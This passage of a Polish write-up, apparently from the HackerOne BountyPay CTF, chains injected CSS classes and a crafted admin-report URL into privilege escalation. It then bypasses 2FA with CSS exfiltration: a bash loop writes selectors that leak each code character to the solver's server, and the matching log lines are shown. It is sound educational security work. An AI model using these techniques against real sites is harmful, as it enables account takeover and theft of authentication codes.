Parametr url zawiera adres odwiedzanej strony zakodowany w base64. Bazując na wcześniejszym komunikacje, odwoływanie się do endpointów zaczynających się od /admin będzie ignorowane (co udało się potwierdzić różnymi testami). Nadal jednak pamiętajmy o tym mechanizmie, ponieważ będzie on jednym z elementów potrzebnym, aby uzyskać wyższe uprawnienia.
Rozglądając się po aplikacji możemy też zauważyć, że aplikacja używa parametru template do wyświetlania kolejnych stron. W wyniku eksperymentów zauważyłem, że użycie kilku parametrów template wraz z nawiasami kwadratowymi powoduje wyświetlenie kilku widoków na jednej stronie. Przykładowo – dla /?template[]=login&template[]=home pokaże jednocześnie formularz logowania oraz stronę główną:

Dodatkowo gdy na stronie logowania podamy parametr username – nazwa użytkownika w formularzu zostanie wypełniona. Przykładowo dla /?template=login&username=test.test :

Ostatnim elementem jest sekcja Profile gdzie użytkownik może zmienić wyświetlaną nazwę oraz avatar.

Przykładowe zapytanie HTTP z wprowadzonymi zmianami:
POST /?template=home HTTP/1.1 Host: staff.bountypay.h1ctf.com (...) profile_name=asdasda&profile_avatar=avatar2
Wartości profile_name oraz profile_avatar mogą mieć dowolne wartości – zostaną one zapisane w profilu użytkownika, a następnie wyrenderowane – na przykład w widoku Tickets . Dla przykładu podanie hackerone jako wartość parametru profile_avatar, a następnie przejście do sekcji Tickets wyrenderuje taki kod:

<div class="panel-heading">Reply</div> <div class="panel-body"> <div style="width: 100px;position: absolute"> <div style="margin:auto" class="avatar hackerone"></div> <div class="text-center">asdasdak</div> </div>
Jak widzimy profile_avatar wyświetla się jako część atrybutu class. Wróćmy do fragmentu w pliku website.js :
$(".upgradeToAdmin").click(function() {
let t = $('input[name="username"]').val();
$.get("/admin/upgrade?username=" + t, function() {
alert("User Upgraded to Admin")
})
Bazując na powyższym:
- Funkcja zostanie uruchomiona w momencie kliknięcia na element z selektorem upgradeToAdmin .
- Nazwa użytkownika dostarczona jako parametr do /admin/upgrade pobierana jest z wartości elementu <input name=”username”> .
- Całość musi zostać uruchomiona przez administratora.
Finalnie:
- Mamy kontrole nad selektorami CSS przez modyfikację parametru profile_avatar – na wartości upgradeToAdmin oraz tab2.
- Musimy wyświetlić stronę zawierającą zarówno widok Ticket oraz stronę logowania – po to, żebyśmy mieli jednocześnie element <input name=”username”> oraz elementy z naszymi własnymi selektorami CSS – na jednej stronie.
- Musimy ustawić wartość parametru username na sandra.allison.
- Musimy wyzwolić event click – co osiągniemy przez dodanie #tab2 (location.hash) w adresie URL .
- Na samym końcu – musimy zaraportować utworzony URL administratorowi tak, żeby w niego kliknął i zmienił uprawnienia Sandry na administratora.
Finalny URL:
https://staff.bountypay.h1ctf.com/?template[]=login&template[]=ticket&ticket_id=3582&username=sandra.allison#tab2
Finalny URL do raportu:
https://staff.bountypay.h1ctf.com/admin/report?url=Lz90ZW1wbGF0ZVtdPWxvZ2luJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uI3RhYjI=
Wysłanie powyższego daje nam uprawnienia Administratora:

Mamy teraz login i hasło konta Marten’a!
2FA Bypass – część druga
Używając znalezionych danych do logowania w pierwszej aplikacji (App Portal) oraz po ponownym pominięciu mechanizmu 2FA możemy zauważyć informacje o płatnościach:

Klikając w przycisk Pay – pojawia się kolejny system 2FA, który musimy pominąć:

Przycisk Send Challenge wyzwala następujące zapytanie HTTP:
POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1 Host: app.bountypay.h1ctf.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:77.0) Gecko/20100101 Firefox/77.0 (...) app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css
Parametr app_style zawiera adres URL do stylu CSS. Gdy zmodyfikujemy tę wartość na adres własnego serwera, w logach możemy zauważyć, że zapytanie wykonane jest przez Headless Chrome:
3.21.98.146 - - [10/Jun/2020:06:31:10 +0200] "GET /test.css HTTP/1.1" 404 3797 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36"
Po kilku testach okazuje się, że Headless Chrome odwiedza stronę, generującą kod 2FA, na której dołączony jest styl CSS, który możemy kontrolować (podawany jako część parametru app_style). Możemy zatem użyć techniki eksfiltracji danych przez CSS aby otrzymać kod 2FA.
Po pierwsze musimy odkryć, jak nazywa się atrybut w kodzie HTML, do którego chcemy uzyskać dostęp. W tym celu wygenerowałem następujący plik CSS:
$ for a in {{a..z},{A..Z},{0..9},.,:,\;,-}; do echo "input[name^='$a] { background: url(https://[redacted]/csp/leak.gif?name=$a); }" ; done > h1.css
W logach mojego serwera pojawił się wpis wskazujący, że pierwsza litera atrybutu to „c”:
GET /csp/leak.gif?name=c HTTP/1.1
Korzystając z powyższej techniki ustaliłem, że nazwa atrybutu to code_X – gdzie X to numer od 1 do 7, wskazujący na pozycję znaku w kodzie 2FA. Dla utrudnienia, kolejność elementów z poszczególnymi znakami wyświetlana była losowo. Aby uzyskać finalny kod 2FA musimy znać nie tylko wartość, ale też pozycje. Finalny kod do generowania pliku CSS wygląda następująco:
#!/bin/bash
for i in `seq 1 7`; do
for a in {{a..z},{A..Z},{0..9},.,:,\;,-,_}; do echo "input[name='code_$i'][value='$a'] { background: url(https://[redacted]/csp/leak.gif?pos=1&val=$a); }" ; done
done
Przechodząc dalej otrzymujemy poszczególne litery kodu oraz ich dokładną kolejność, co możemy wykorzystać do ominięcia mechanizmu 2FA:
GET /csp/leak.gif?pos=1&val=g HTTP/1.1 GET /csp/leak.gif?pos=7&val=P HTTP/1.1 GET /csp/leak.gif?pos=5&val=K HTTP/1.1 GET /csp/leak.gif?pos=4&val=m HTTP/1.1 GET /csp/leak.gif?pos=6&val=2 HTTP/1.1 GET /csp/leak.gif?pos=2&val=e HTTP/1.1 GET /csp/leak.gif?pos=3&val=H HTTP/1.1

To doprowadza nas do najbardziej wartościowej części zadania flagi:
^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$

Podsumowanie:
Przygotowana zadania bardzo ciekawe, a samo rozwiązywanie CTF traktuję jako bardzo dobrą zabawę pod szyldem cyberbezpieczeństwa. Największe wyzwanie jednak sprawiło mi przygotowanie powyższego raportu (oryginalna wersja w języku angielskim dostępna jest na stronie Hackerone https://hackerone.com/reports/895202).
Dla zainteresowanych na Youtube dostępna jest rozmowa ze zwycięzcami, na temat zadań, rozwiązań oraz ogólnych odczuć dotyczących opisywanego CTFa: https://www.youtube.com/watch?v=AAQHEl3b05M
Przy okazji – zachęcamy do zerknięcia na ofertę pentestową Securitum – Jakub jest jednym z naszych pentesterów :-)

Gratulacje!! Świetny raport, pokazujący nie tylko techniki i narzędzia, ale przede wszystkim tok myślowy. Mało jest takich publikacji w polskim internecie, dzięki za podzielenie się!
Gratulacje! Świetna robota.
WOW! Gratulacje!
Zadanie bardzo podobne do maszyny „Player2” z HTB (poziom Insane).
Gratulacje!
Świetnie opisane, więcej takich publikacji na Sekuraku!
Swietna robota, pozdro zoczus :)
Miło uczyć się od lepszych od siebie.